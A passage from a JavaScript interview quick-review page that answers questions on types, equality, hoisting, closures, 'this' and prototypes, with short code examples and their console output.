strictmode
109 questions · 56 interactive demos · 7 topics

Quick review

Short front-end questions to run through fast: JavaScript, React, CSS, HTML, accessibility, Node and security. Read the question, answer it in your head in thirty seconds, then open it to check. Where a concept is easier to see than to read, the answer comes with a demo you can play with: event loops you can step through, a 3D box model, live React state.

Press / to search and R for a random question you haven't marked as known.

0 / 109 known
JavaScript

Types, values and equality

The eight types, how they convert, and the comparisons that trip people up: the questions that open most JavaScript screens.

14
01What are JavaScript data types?MidJavaScriptdemo
IN 30 SECONDS

Eight: seven primitives (string, number, bigint, boolean, undefined, symbol, null) and object. Arrays, functions, dates, maps and class instances are all objects. Primitives are immutable and compared by value; objects are mutable and compared by reference.

GOOD TO HEAR
  • Seven primitives plus object
  • typeof null === "object" is a legacy bug
  • Primitives are immutable and compared by value
  • Arrays and functions are objects
  • Autoboxing explains methods on primitives
TypeExampletypeof
string"hi""string"
number42, 3.14, NaN, Infinity"number"
bigint10n"bigint"
booleantrue"boolean"
undefinedundefined"undefined"
symbolSymbol("id")"symbol"
nullnull"object" (a historical bug)
object{}, [], new Date()"object", or "function" for functions
const values = ["hi", 42, 10n, true, undefined, Symbol("id"), null, {}, [], () => {}];
for (const value of values) console.log(typeof value);
stdout
string
number
bigint
boolean
undefined
symbol
object
object
object
function

A primitive has no methods of its own. "hi".length works because the engine wraps the string in a temporary String object for the property access (autoboxing), then throws the wrapper away.

The trap: typeof [] and typeof null are both "object". Use Array.isArray(value) for arrays and value === null for null.

InteractivePick values and compare typeof with what Object.prototype.toString reports.
loading demo…
02What does typeof typeof 0 evaluate to?MidJavaScript
THE QUESTION'S CODE
typeof typeof 0
Show the answer
IN 30 SECONDS

"string". typeof 0 is the string "number", and the typeof of any string is "string". Because typeof always returns a string, any chain of two or more is "string".

GOOD TO HEAR
  • typeof returns a string
  • Evaluates right to left
  • Safe on undeclared variables, except in the TDZ

Unary operators apply right to left, so the inner typeof runs first.

console.log(typeof 0);
console.log(typeof typeof 0);
console.log(typeof typeof typeof undefined);
stdout
number
string
string

typeof is also the one safe way to probe a variable that may not be declared at all: typeof notDeclared is "undefined" instead of a ReferenceError. The exception is a let or const still in its temporal dead zone, which throws.

03What is the difference between null and undefined?MidJavaScriptdemo
IN 30 SECONDS

undefined means no value has been assigned: an unset variable, a missing property or argument, a function with no return. null is a value your code assigns on purpose to say "empty". They are loosely equal (==) but not strictly equal (===).

GOOD TO HEAR
  • undefined: not assigned; null: intentionally empty
  • null == undefined but null !== undefined
  • Defaults only kick in for undefined
  • JSON keeps null, drops undefined
let notSet;
const user = { name: "Ada", nickname: null };
console.log(notSet, user.age, user.nickname);
console.log(null == undefined, null === undefined);
console.log(JSON.stringify({ a: undefined, b: null }));
const greet = (name = "friend") => "hi " + name;
console.log(greet(undefined), greet(null));
stdout
undefined undefined null
true false
{"b":null}
hi friend hi null
  • Default parameters and destructuring defaults apply to undefined only, not to null.
  • JSON.stringify drops properties whose value is undefined and keeps null. An API that wants to clear a field needs null.
  • ?? and ?. treat both as "nullish". value == null is the one idiomatic use of ==: it is true for exactly these two.
  • typeof undefined is "undefined"; typeof null is "object".
InteractiveCompare how null and undefined behave in each column.
loading demo…
04What is the only value not equal to itself in JavaScript?SeniorJavaScript
IN 30 SECONDS

NaN. IEEE 754 defines NaN as unequal to everything, itself included, so NaN === NaN is false. Test for it with Number.isNaN(x) or Object.is(x, NaN), never with ===.

GOOD TO HEAR
  • NaN !== NaN
  • Number.isNaN vs global isNaN
  • Object.is and includes find it
  • typeof NaN is "number"
console.log(NaN === NaN);
console.log(Number.isNaN(NaN), Number.isNaN("abc"));
console.log(isNaN("abc"));
console.log(Object.is(NaN, NaN));
console.log([NaN].includes(NaN), [NaN].indexOf(NaN));
console.log(typeof NaN);
stdout
false
true false
true
true
true -1
number
  • The global isNaN converts its argument to a number first, so isNaN("abc") is true. Number.isNaN does not convert.
  • includes, Set and Map use SameValueZero, which finds NaN; indexOf uses ===, which cannot.
  • NaN comes from failed numeric conversions (Number("abc"), parseInt("x")) and undefined maths (0 / 0, Math.sqrt(-1)).

The trap: The self-inequality is a usable test: x !== x is true only for NaN. It works, but Number.isNaN says what it means.

05What are truthy and falsy values in JavaScript?MidJavaScriptdemo
IN 30 SECONDS

A value is falsy if it converts to false in a boolean context. The list is short: false, 0, -0, 0n, "", null, undefined and NaN. Everything else is truthy, including "0", "false", [] and {}.

GOOD TO HEAR
  • The eight falsy values
  • Empty arrays and objects are truthy
  • "0" and "false" are truthy strings
  • Prefer ?? when 0 or "" are valid
const falsy = [false, 0, -0, 0n, "", null, undefined, NaN];
console.log(falsy.every((value) => !value));
const surprising = ["0", "false", " ", [], {}, () => {}];
console.log(surprising.every((value) => Boolean(value)));
stdout
true
true

Boolean contexts are if, while, the ternary, !, && and ||. Boolean(value) and !!value make the conversion explicit.

The trap: if (count) treats a real 0 like a missing value, and name || "Anonymous" replaces an intentional empty string. When 0 or "" are valid, test for null/undefined explicitly or use ??.

InteractiveThe truthy column flips for exactly eight values. Find them all.
loading demo…
06What is the difference between the equality operators == and ===?JuniorJavaScriptdemo
IN 30 SECONDS

=== (strict equality) compares type and value with no conversion. == (loose equality) first converts the operands to a common type by a fixed set of rules, which produces surprises like "0" == false. Use ===; the one common exception is x == null, which matches both null and undefined.

GOOD TO HEAR
  • === never converts types
  • == follows the abstract equality algorithm
  • x == null idiom
  • Objects compare by reference either way
  • Object.is for NaN and -0
console.log(0 == "", "0" == false, [] == false);
console.log(null == 0, null == undefined, NaN == NaN);
console.log("1" === 1, 1 === 1);
stdout
true true true
false true false
false true
ComparisonWhat == doesResult
"0" == falsebooleans become numbers (0); "0" becomes 0true
[] == falsefalse → 0; [] → "" → 0true
null == 0null only loosely equals undefinedfalse
{} == {}two objects: compared by reference, no conversionfalse

Object.is is a third comparison: like ===, except Object.is(NaN, NaN) is true and Object.is(0, -0) is false. React uses it to decide whether state changed.

Interview line: I default to ===, and use == null on purpose when I mean "null or undefined".

InteractiveSwitch between == and === and look at how much of the grid lights up.
loading demo…
07What is the output of the following code?MidJavaScript
THE QUESTION'S CODE
const a = [1, 2, 3];
const b = [1, 2, 3];
const c = "1,2,3";

console.log(a == c);
console.log(a == b);
Show the answer
IN 30 SECONDS

true, then false. In a == c, an object meets a string, so the array is converted to a primitive: "1,2,3", equal to c. In a == b, both sides are objects, so there is no conversion and they are compared by reference: two different arrays.

GOOD TO HEAR
  • Object vs primitive: the object is converted with toString
  • Object vs object: reference comparison
  • How to compare arrays by content
const a = [1, 2, 3];
const b = [1, 2, 3];
console.log(String(a));
console.log(a == "1,2,3", a == b, a === a);
const sameItems = a.length === b.length && a.every((item, index) => Object.is(item, b[index]));
console.log(sameItems);
stdout
1,2,3
true false true
true

To compare contents, compare element by element (as above), or deeply for nested data. JSON.stringify(a) === JSON.stringify(b) works for plain data but is order-sensitive for objects and loses undefined, functions and NaN.

08What does 0.1 + 0.2 === 0.3 evaluate to?MidJavaScriptdemo
IN 30 SECONDS

false. Numbers are IEEE 754 doubles, stored in binary, and 0.1, 0.2 and 0.3 have no exact binary representation. The rounding errors don't cancel: the sum is 0.30000000000000004. Compare with a tolerance, or keep money in integer cents.

GOOD TO HEAR
  • IEEE 754 binary64
  • 0.1 has no exact binary form
  • Compare with a relative epsilon
  • Integer cents for money
  • MAX_SAFE_INTEGER and BigInt
console.log(0.1 + 0.2);
console.log(0.1 + 0.2 === 0.3);
console.log((0.1).toPrecision(21));
const nearlyEqual = (x, y) => Math.abs(x - y) <= Number.EPSILON * Math.max(Math.abs(x), Math.abs(y));
console.log(nearlyEqual(0.1 + 0.2, 0.3));
console.log((10 + 20) / 100 === 0.3);
stdout
0.30000000000000004
false
0.100000000000000005551
true
true
  • The same happens in every language that uses binary floating point: Python, Java, C#.
  • For display, round: (0.1 + 0.2).toFixed(2) or Intl.NumberFormat. For money, store integer cents (or use BigInt), and format at the edge.
  • Integers are exact up to Number.MAX_SAFE_INTEGER (2^53 − 1). Past that, use BigInt.
InteractiveType 0.1, then 0.3: look at the exact decimal value each one actually stores.
loading demo…
09What is short-circuit evaluation in JavaScript?MidJavaScriptdemo
IN 30 SECONDS

&&, || and ?? stop evaluating as soon as the result is known, and return one of their operands, not necessarily a boolean. a && b returns a if it is falsy, otherwise b. a || b returns a if it is truthy, otherwise b. a ?? b returns b only when a is null or undefined.

GOOD TO HEAR
  • Returns an operand, not a boolean
  • Right side may never run
  • ?? vs || for defaults
  • Optional chaining is related short-circuiting
const log = (label, value) => {
  console.log("evaluated " + label);
  return value;
};
console.log(log("a", 0) && log("b", 1));
console.log(log("c", 0) || log("d", "fallback"));
console.log(0 ?? "fallback", null ?? "fallback");
stdout
evaluated a
0
evaluated c
evaluated d
fallback
0 fallback
  • Guards: user && user.name, today usually user?.name.
  • Defaults: options.retries ?? 3 keeps a deliberate 0; options.retries || 3 would replace it.
  • Conditional calls: onClose && onClose(), or onClose?.().
  • Logical assignment: cache[key] ??= compute() only computes when the entry is missing.

The trap: a ?? b || c is a syntax error: ?? cannot be mixed with && or || without parentheses.

InteractiveChange the left operand and watch whether the right side runs at all.
loading demo…
10What is the difference between the postfix i++ and prefix ++i increment operators?JuniorJavaScriptdemo
IN 30 SECONDS

Both add 1 to the variable. They differ in the value of the expression: i++ evaluates to the value before the increment, ++i to the value after. The difference only matters when the result is used.

GOOD TO HEAR
  • Same side effect, different expression value
  • Postfix returns the old value
  • Irrelevant when the value is discarded
let i = 0;
const a = i++;
console.log(a, i);
let j = 0;
const b = ++j;
console.log(b, j);
stdout
0 1
1 1

In a for loop's update clause the value is thrown away, so i++ and ++i behave the same. In an expression like arr[i++] = x, the old index is used and then i moves on.

The trap: count++ inside a React state setter (setCount(count++)) passes the old value and mutates a local variable. Write setCount((c) => c + 1).

InteractiveStep through and compare the value of each expression with the variable.
loading demo…
11What is the difference between an expression and a statement in JavaScript?MidJavaScript
IN 30 SECONDS

An expression produces a value: 1 + 2, user.name, fn(), a ? b : c. A statement performs an action and produces no value you can use: if, for, return, a let declaration. Rule of thumb: if you can assign it to a variable or pass it as an argument, it is an expression.

GOOD TO HEAR
  • Expressions produce values; statements perform actions
  • Expression statements
  • Function declarations vs expressions
  • JSX braces take expressions
const max = (a, b) => (a > b ? a : b);
let label;
if (max(2, 3) > 2) {
  label = "big";
} else {
  label = "small";
}
const sameLabel = max(2, 3) > 2 ? "big" : "small";
console.log(label === sameLabel);
stdout
true
  • An expression statement is an expression used where a statement is expected: fn(); or x = 1;.
  • A function declaration is a statement and is hoisted; a function expression (const f = function () {}) is a value and follows its variable's rules.
  • JSX braces accept expressions only. That is why conditional rendering uses && and ? : rather than if.
  • An arrow function's concise body is an expression; a body with braces is a block of statements and needs return.
Why JSX needs expressions
// Does not compile: if is a statement, and braces in JSX take an expression.
<p>{if (done) { "Done" }}</p>

// Compiles: the ternary is an expression.
<p>{done ? "Done" : "Pending"}</p>
12Are semicolons required in JavaScript?MidJavaScript
IN 30 SECONDS

Not strictly. Automatic semicolon insertion (ASI) adds them at line breaks where the next token cannot continue the statement. But ASI does not insert one before a line that starts with (, [ or a template literal, and it does insert one right after return. Pick a style and let a formatter enforce it.

GOOD TO HEAR
  • ASI exists and is specified
  • Hazards: lines starting with (, [ or a template literal
  • return followed by a newline
  • Consistency via a formatter
No semicolon after `a`: the next line continues the expression
const a = 1
try {
  const b = a
  [1, 2].forEach((n) => console.log(n))
} catch (error) {
  console.log(error.constructor.name)
}
stdout
TypeError

The engine reads a\n[1, 2].forEach(...) as a[1, 2].forEach(...): the comma operator makes that a[2], which is undefined, and calling forEach on it throws. A leading ; before such lines (the no-semicolon style's rule) or semicolons everywhere both prevent it.

  • Lines starting with (, [, a template literal, +, - or / are the hazards.
  • return, throw, break, continue, yield and postfix ++/-- are "restricted productions": a line break after them ends the statement.
  • Prettier with semi: false inserts the protective leading semicolons for you.
13What does the following function return?MidJavaScript
THE QUESTION'S CODE
function greet() {
  return
  {
    message: "hello"
  }
}
Show the answer
IN 30 SECONDS

undefined. A line break directly after return ends the statement, so ASI turns it into return;. The object literal below becomes an unreachable block containing a label (message:) and a string expression.

GOOD TO HEAR
  • ASI after return
  • The braces become a block with a label
  • Brace on the same line
function greet() {
  return
  {
    message: "hello"
  }
}
function greetFixed() {
  return {
    message: "hello",
  };
}
console.log(greet());
console.log(greetFixed());
stdout
undefined
{ message: 'hello' }

Keep the opening brace (or parenthesis) on the same line as return. This is one reason JavaScript style guides put braces at the end of the line, not on the next one. Multi-line JSX is wrapped in return ( for the same reason.

14What does "use strict" do and what are some of the key benefits to using it?SeniorJavaScript
IN 30 SECONDS

It opts a script or a function into strict mode, which turns silent mistakes into errors and removes some confusing features. ES modules and class bodies are strict automatically, so in modern code you rarely type it.

GOOD TO HEAR
  • Silent errors become thrown errors
  • No accidental globals
  • this is undefined in plain calls
  • Modules and classes are strict by default
  • Assigning to an undeclared variable throws a ReferenceError instead of creating a global.
  • Writing to a read-only or non-writable property, or adding to a frozen object, throws a TypeError instead of failing silently.
  • this is undefined in a plain function call, instead of the global object.
  • with, octal literals like 010, duplicate parameter names and delete on a plain variable are syntax errors.
  • Words reserved for the future (implements, interface, package, ...) cannot be identifiers.
// ES modules are strict, so this file runs in strict mode.
try {
  undeclared = 1;
} catch (error) {
  console.log(error.name);
}
const frozen = Object.freeze({ count: 1 });
try {
  frozen.count = 2;
} catch (error) {
  console.log(error.name);
}
function whoAmI() {
  return this;
}
console.log(whoAmI());
stdout
ReferenceError
TypeError
undefined

In a non-strict ("sloppy") script, the first assignment would silently create a global, the second would be ignored, and whoAmI() would return the global object.

The trap: "use strict" must be the first statement of the script or function. Concatenating a strict file with a sloppy one can switch the whole bundle's mode, which is one reason bundlers emit modules.

JavaScript

Scope, hoisting and closures

Where a variable is visible, when it exists, and how a function keeps hold of the variables around it.

7
01What are the differences between var, let, const and no keyword statements?MidJavaScriptdemo
IN 30 SECONDS

var is function-scoped, hoisted with the value undefined, and can be redeclared. let and const are block-scoped and sit in a temporal dead zone until their declaration runs; const also cannot be reassigned (its object can still change). Assigning with no keyword creates an accidental global in sloppy code and throws in strict code.

GOOD TO HEAR
  • Function scope vs block scope
  • Temporal dead zone
  • const prevents reassignment, not mutation
  • Per-iteration let bindings in loops
  • Implicit globals without a keyword
varletconstno keyword
Scopefunctionblockblockglobal (sloppy) / error (strict)
Before the declarationundefinedReferenceError (TDZ)ReferenceError (TDZ)n/a
Redeclare in the same scopeyesnonon/a
Reassignyesyesnoyes
Top level adds a window propertyyesnonoyes
for (var i = 0; i < 3; i++) setTimeout(() => console.log("var", i));
for (let j = 0; j < 3; j++) setTimeout(() => console.log("let", j));
stdout
var 3
var 3
var 3
let 0
let 1
let 2

The loop shows the practical difference. There is one var i for the whole function, and the callbacks run after the loop, when it is 3. A let in a for header gets a fresh binding per iteration, so each callback closes over its own j.

Interview line: I use const by default, let when the variable is reassigned, and never var.

InteractiveStep through both loops and count how many i bindings exist versus j bindings.
loading demo…
02How does hoisting work in JavaScript?MidJavaScript
IN 30 SECONDS

Before running a scope, the engine registers every declaration in it, as if they had moved to the top. Function declarations are fully available. var exists with the value undefined. let, const and class exist but are uninitialised (the temporal dead zone) until their line runs. Assignments are never hoisted.

GOOD TO HEAR
  • Declarations are processed before execution
  • Function declarations are fully hoisted
  • var → undefined; let/const → TDZ
  • Assignments are not hoisted
console.log(typeof hoisted, typeof notYet);
function hoisted() {}
var notYet = function () {};
try {
  console.log(later);
} catch (error) {
  console.log(error.name);
}
let later = 1;
stdout
function undefined
ReferenceError
  • Function declarations can be called before the line they appear on. That is what lets helpers live at the bottom of a file.
  • Function expressions and arrow functions follow their variable: var gives undefined (calling it is a TypeError), let/const throw in the TDZ.
  • The TDZ is a feature: reading a variable before it is set is almost always a bug, and let turns it into an error instead of a silent undefined.

The trap: Nothing is physically moved. Hoisting is a model for the creation phase: the scope's bindings are created first, then the code runs line by line.

03What will the console log in this example?MidJavaScriptdemo
THE QUESTION'S CODE
var foo = 1;
var foobar = function () {
  console.log(foo);
  var foo = 2;
};
foobar();
Show the answer
IN 30 SECONDS

undefined. The inner var foo is hoisted to the top of foobar, so inside the function foo refers to the local variable, not the outer one. At the console.log, that local exists but has not been assigned yet.

GOOD TO HEAR
  • The local declaration shadows the outer variable
  • Declaration hoisted, assignment not
  • let would throw instead
What the engine effectively runs
var foo = 1;
var foobar = function () {
  var foo; // hoisted declaration, value undefined
  console.log(foo);
  foo = 2; // the assignment stays where it was written
};
foobar();
stdout
undefined

With let foo = 2 inside the function, the same code throws a ReferenceError instead: the local still shadows the outer foo, but it is in its temporal dead zone at the console.log.

InteractiveWatch the local foo appear in the function's scope before the first line runs.
loading demo…
04What is the difference between lexical scoping and dynamic scoping?MidJavaScript
IN 30 SECONDS

With lexical (static) scoping, a function sees the variables of the place where it is written. With dynamic scoping, it sees the variables of the place where it is called. JavaScript is lexically scoped, which is what makes closures work. The one dynamic-looking part is this, which depends on the call (except in arrow functions).

GOOD TO HEAR
  • Lexical = where defined; dynamic = where called
  • JavaScript is lexical
  • Enables closures
  • this is the dynamic exception, arrows make it lexical
const level = "global";
function show() {
  return level;
}
function run() {
  const level = "inside run";
  return show();
}
console.log(run());
stdout
global

show was defined at the top level, so level resolves there. Under dynamic scoping (Bash, early Lisps, Perl's local) the call from run would have printed "inside run".

  • Lexical scoping can be read from the source: you know what a name refers to without running the program.
  • this is resolved per call, which is why a method passed as a callback loses its object.
  • Arrow functions take this lexically, from the surrounding code, which is why they fix that problem.
05What is a closure? Can you give a useful example of one?SeniorJavaScriptdemo
IN 30 SECONDS

A closure is a function together with the variables of the scope it was created in. The function keeps access to them after that scope has finished running. Every function in JavaScript is a closure; it matters when a function outlives its parent, as with factories, callbacks, private state and React hooks.

GOOD TO HEAR
  • Function + its lexical environment
  • Outlives the parent scope
  • Private state and factories
  • Each call creates a new scope
  • Stale closures in React
function createCounter() {
  let count = 0;
  return {
    increment: () => ++count,
    current: () => count,
  };
}
const a = createCounter();
const b = createCounter();
a.increment();
a.increment();
b.increment();
console.log(a.current(), b.current());
console.log(a.count);
stdout
2 1
undefined

Each call to createCounter makes a new count, and only the two returned functions can reach it: private state without a class. The same mechanism powers once, memoize, debounce timers, partially applied functions and event handlers that remember their item.

function once(fn) {
  let done = false;
  let result;
  return (...args) => {
    if (!done) {
      done = true;
      result = fn(...args);
    }
    return result;
  };
}
const init = once(() => {
  console.log("initialising");
  return 42;
});
console.log(init(), init());
stdout
initialising
42 42
A stale closure: the timer shows 1 and stops
function Timer() {
  const [seconds, setSeconds] = useState(0);
  useEffect(() => {
    // This closure captured the first render's `seconds` (0) forever.
    const id = setInterval(() => setSeconds(seconds + 1), 1000);
    return () => clearInterval(id);
  }, []);
  return <p>{seconds}</p>;
}

The trap: Closures capture variables, not values. A stale closure is one that captured an old variable: in React, every render has its own seconds. The fix above is setSeconds((s) => s + 1).

InteractiveFollow count after createCounter returns: the scope survives because a function still points at it.
loading demo…
06What is the reason for wrapping the entire contents of a JavaScript source file in a function that is immediately invoked?MidJavaScript
IN 30 SECONDS

An IIFE (immediately invoked function expression) gives the file a private scope. Classic scripts all share one global scope, so top-level vars and functions would collide with other scripts; inside the function they stay local, and you expose only what you choose. ES modules have their own scope, so IIFEs are now mostly legacy.

GOOD TO HEAR
  • Avoids polluting the global scope
  • Private state (module pattern)
  • Parentheses make it an expression
  • Replaced by ES modules
const counterModule = (() => {
  let count = 0;
  return { next: () => ++count };
})();
console.log(counterModule.next(), counterModule.next());
console.log(typeof count);
stdout
1 2
undefined
  • The module pattern: return an object of public functions, keep the rest private (jQuery plugins, UMD bundles).
  • Safe aliases: (function ($, undefined) { ... })(jQuery) gave the file a guaranteed $.
  • Async setup in a classic script: (async () => { await init(); })();. Modules can use top-level await instead.
  • The parentheses are required: function () {}() at the start of a statement parses as a declaration, not an expression.

Interview line: With type="module" scripts and bundlers, every file already has its own scope, so I reach for an IIFE only to run async code in a classic script.

07What is the difference between a parameter and an argument?MidJavaScript
IN 30 SECONDS

Parameters are the names in a function's definition; arguments are the values passed when it is called. In function add(a, b), a and b are parameters; in add(1, 2), 1 and 2 are arguments.

GOOD TO HEAR
  • Parameters: definition; arguments: call
  • Missing → undefined, extra → ignored
  • Default and rest parameters
  • function.length
function greet(name, greeting = "Hello") {
  return greeting + ", " + name;
}
console.log(greet("Ada"));
console.log(greet("Ada", "Hi", "extra"));
console.log(greet.length);
function count(...args) {
  return args.length;
}
console.log(count(1, 2, 3));
stdout
Hello, Ada
Hi, Ada
1
3
  • JavaScript does not check the count: missing arguments are undefined (or take the default), extra ones are ignored unless collected with a rest parameter.
  • fn.length counts parameters before the first one with a default or a rest parameter.
  • Arguments are passed by value; for objects, that value is a reference.
JavaScript

Objects, this and prototypes

How objects are made, how they inherit, what this points at, and what copying and comparing an object really does.

9
01Describe the different ways to create an object. When should certain ways be preferred over others?MidJavaScript
IN 30 SECONDS

An object literal for one-off data; a class (or a constructor function with new) when you need many instances sharing methods; a factory function when you want privacy through closures and no new; Object.create(proto) to pick the prototype explicitly, including Object.create(null) for a bare dictionary (though a Map is usually better).

GOOD TO HEAR
  • Literal, class/constructor, factory, Object.create
  • Shared methods on the prototype save memory
  • Factories give privacy without this
  • Object.create(null) has no inherited keys
const literal = { name: "Ada" };

class Person {
  constructor(name) {
    this.name = name;
  }
  greet() {
    return "Hi, " + this.name;
  }
}
const fromClass = new Person("Grace");

function createPerson(name) {
  return { greet: () => "Hi, " + name };
}
const fromFactory = createPerson("Linus");

const proto = { greet() { return "Hi, " + this.name; } };
const fromCreate = Object.create(proto);
fromCreate.name = "Barbara";

const dictionary = Object.create(null);
console.log(literal.name, fromClass.greet(), fromFactory.greet(), fromCreate.greet());
console.log("toString" in literal, "toString" in dictionary);
stdout
Ada Hi, Grace Hi, Linus Hi, Barbara
true false
WayMethods liveUse it for
Literal {}on the objectconfig, data, return values
class / new F()once, on the prototypemany instances, instanceof, inheritance
Factory functionper object (closures)private state, composition, no this
Object.create(p)on the prototype you passexplicit delegation, null-prototype maps

Others worth naming: Object.fromEntries(pairs), structuredClone(obj) and spread copies ({ ...base, extra: 1 }).

02What is the this keyword and how does it work?SeniorJavaScriptdemo
IN 30 SECONDS

this is decided by how a function is called, not where it is defined. Called as obj.method(), it is obj. Called with new, it is the new object. With call, apply or bind, it is what you pass. Called plainly, it is undefined in strict code (the global object in sloppy code). Arrow functions have no this of their own and use the surrounding one.

GOOD TO HEAR
  • Determined at call time
  • The four binding rules and their precedence
  • Arrow functions are lexical
  • Lost this in callbacks
  • Strict vs sloppy default
const user = {
  name: "Ada",
  regular() {
    return this?.name;
  },
  arrow: () => typeof this,
  later() {
    return [1].map(() => this.name);
  },
};
const detached = user.regular;
console.log(user.regular());
console.log(detached());
console.log(detached.call({ name: "Grace" }));
console.log(user.arrow());
console.log(user.later());
function Person(name) {
  this.name = name;
}
console.log(new Person("Linus").name);
stdout
Ada
undefined
Grace
undefined
[ 'Ada' ]
Linus
Callthis
new Fn()the newly created object
fn.call(x), fn.apply(x), fn.bind(x)()x
obj.fn()obj
fn()undefined (strict) / globalThis (sloppy)
arrow functionthe this of the enclosing scope
el.addEventListener("click", fn)el (the currentTarget)

The rows are in order of precedence: new beats bind, which beats a method call, which beats the default. user.arrow returns "undefined" because the arrow's surrounding scope is the module, whose this is undefined; later works because the arrow inside it borrows the method's this.

The trap: Passing a method as a callback (button.addEventListener("click", obj.save), setTimeout(obj.save)) detaches it from obj. Bind it, or wrap it: () => obj.save().

InteractiveRun the same function under each call style and read what this became.
loading demo…
03Create a standalone function bind that is functionally equivalent to the method Function.prototype.bind.MidJavaScript
THE QUESTION'S CODE
function example() {
  console.log(this);
}
const boundExample = bind(example, { a: true });
boundExample.call({ b: true }); // logs { a: true }
Show the answer
IN 30 SECONDS

Return a new function that, whenever it is called, calls the original with the fixed this and the preset arguments followed by the new ones: (...args) => fn.apply(context, [...preset, ...args]). Because the outer function ignores its own this, a later .call cannot override the binding.

GOOD TO HEAR
  • Return a closure that calls apply/call
  • Supports preset arguments
  • Bound this can't be overridden by call
  • Edge case: new on a bound function
function bind(fn, context, ...preset) {
  return function bound(...args) {
    return fn.apply(context, [...preset, ...args]);
  };
}
function describe(greeting, punctuation) {
  return greeting + ", " + this.name + punctuation;
}
const ada = bind(describe, { name: "Ada" }, "Hello");
console.log(ada("!"));
console.log(ada.call({ name: "Grace" }, "?"));
stdout
Hello, Ada!
Hello, Ada?
  • Partial application comes for free: the preset arguments are fixed and the rest are supplied later.
  • The native bind also handles new: calling a bound function with new ignores the bound this and constructs normally. Supporting that needs new.target and a prototype link.
  • Binding an arrow function changes nothing about its this; only the preset arguments apply.
04How does prototypal inheritance differ from classical inheritance?MidJavaScriptdemo
IN 30 SECONDS

In classical inheritance (Java, C#), classes are blueprints and a subclass extends a parent class. In JavaScript, objects inherit directly from other objects: each object has a hidden link, its prototype, and a property lookup that misses on the object walks up that chain. class and extends are syntax over this model.

GOOD TO HEAR
  • Objects inherit from objects
  • The prototype chain and lookup
  • class is syntactic sugar
  • Delegation and shadowing
  • Chain ends at null
const animal = {
  speak() {
    return this.name + " makes a sound";
  },
};
const dog = Object.create(animal);
dog.name = "Rex";
console.log(dog.speak());
console.log(Object.getPrototypeOf(dog) === animal, Object.hasOwn(dog, "speak"));

class Cat {
  constructor(name) {
    this.name = name;
  }
  meow() {
    return "meow";
  }
}
const tom = new Cat("Tom");
console.log(Object.getPrototypeOf(tom) === Cat.prototype, typeof Cat);
console.log(Object.getPrototypeOf(Cat.prototype) === Object.prototype);
stdout
Rex makes a sound
true false
true function
true
  • Delegation, not copying: methods exist once on the prototype; every instance looks them up.
  • Dynamic: adding a method to a prototype makes it available to existing instances; Object.setPrototypeOf can even change the chain (slowly).
  • Shadowing: assigning a property on the instance hides the prototype's one instead of changing it.
  • The chain ends at Object.prototype, whose prototype is null.

Interview line: A JavaScript class is a constructor function plus a prototype object; extends links one prototype to another.

InteractiveLook up a property and watch the search drop down the chain until a level owns it.
loading demo…
05Explain the difference between a static method and an instance method.SeniorJavaScriptdemo
IN 30 SECONDS

A static method belongs to the class itself (Array.isArray, Object.keys, Promise.all) and is called on it; it has no instance to work on. An instance method lives on the prototype (Array.prototype.push) and works on this, the instance it is called on. Static methods suit factories and utilities; instance methods suit behaviour of one object.

GOOD TO HEAR
  • Static: on the constructor
  • Instance: on the prototype, uses this
  • Factories and utilities are static
  • Static members are inherited by subclasses
class Temperature {
  constructor(celsius) {
    this.celsius = celsius;
  }
  static fromFahrenheit(fahrenheit) {
    return new Temperature(((fahrenheit - 32) * 5) / 9);
  }
  toFahrenheit() {
    return (this.celsius * 9) / 5 + 32;
  }
}
const boiling = Temperature.fromFahrenheit(212);
console.log(boiling.celsius, boiling.toFahrenheit());
console.log(typeof boiling.fromFahrenheit, Object.hasOwn(Temperature, "fromFahrenheit"));
console.log(Object.hasOwn(Temperature.prototype, "toFahrenheit"));
stdout
100 212
undefined true
true
  • Inside a static method, this is the class (or a subclass that inherited it), not an instance.
  • Static members are inherited by subclasses: class B extends A gives B.create if A.create exists.
  • Static fields and static {} blocks hold class-wide data and setup, such as caches or counters.
InteractiveStatic methods sit on the constructor, beside the chain; instance methods sit on the prototype in it.
loading demo…
06Does JavaScript pass by value or by reference?MidJavaScriptdemo
IN 30 SECONDS

Always by value. For objects, the value that is copied is a reference to the object (sometimes called call by sharing). So a function can mutate an object it receives and the caller sees it, but reassigning the parameter only changes the function's local copy.

GOOD TO HEAR
  • Always pass by value
  • The value of an object is a reference
  • Mutation is visible, reassignment isn't
  • Call by sharing
function update(n, list, user) {
  n += 1;
  list.push(4);
  user = { name: "replaced" };
}
const n = 1;
const list = [1, 2, 3];
const user = { name: "Ada" };
update(n, list, user);
console.log(n, list.length, user.name);
stdout
1 4 Ada
  • n is a copied number: changing it inside has no effect outside.
  • list is a copied reference to the same array: push mutates that one array.
  • user = ... points the local parameter at a new object; the caller's variable still points at the old one.

True pass-by-reference (C++ &, C# ref) would let user = ... replace the caller's variable. JavaScript has no way to do that.

InteractiveWatch the arrows: list and the parameter point at one array; reassigning user moves only the local arrow.
loading demo…
07How do you clone an object in JavaScript?MidJavaScriptdemo
IN 30 SECONDS

Shallow copy with spread ({ ...obj }, [...arr]) or Object.assign({}, obj): top-level properties are copied, nested objects are shared. Deep copy with structuredClone(obj), which handles nested objects, Date, Map, Set and circular references. Avoid the JSON.parse(JSON.stringify(obj)) trick except for plain JSON data.

GOOD TO HEAR
  • Shallow vs deep
  • Spread / Object.assign are shallow
  • structuredClone for deep copies
  • JSON round-trip limitations
  • Nested updates in React
const original = { name: "Ada", tags: ["math"], born: new Date(Date.UTC(1815, 11, 10)) };
const shallow = { ...original };
const deep = structuredClone(original);
shallow.tags.push("poetry");
console.log(original.tags.length, deep.tags.length);
console.log(deep.born instanceof Date, typeof JSON.parse(JSON.stringify(original)).born);
stdout
2 1
true string
MethodDepthLoses
{ ...obj }, Object.assignshallownothing at the top level; nested objects are shared
structuredClonedeepfunctions and DOM nodes throw; class instances become plain objects; getters are read once
JSON.parse(JSON.stringify())deepundefined, functions, symbols; Date → string; NaN/Infinity → null; throws on cycles

The trap: Spread looks like a copy, and is one, one level deep. Updating nested state in React ({ ...state, user: { ...state.user, name } }) has to spread every level it changes.

InteractiveCompare which boxes get duplicated by the spread and by structuredClone.
loading demo…
08How do you compare two objects in JavaScript?MidJavaScript
IN 30 SECONDS

===, == and Object.is all compare object references, so two separate objects with identical contents are not equal. To compare contents, compare keys and values, shallowly or recursively; in tests and Node use a deep-equal helper (node:util's isDeepStrictEqual, Vitest's toEqual) rather than JSON.stringify.

GOOD TO HEAR
  • Objects compare by reference
  • Shallow vs deep comparison
  • Recursion over keys
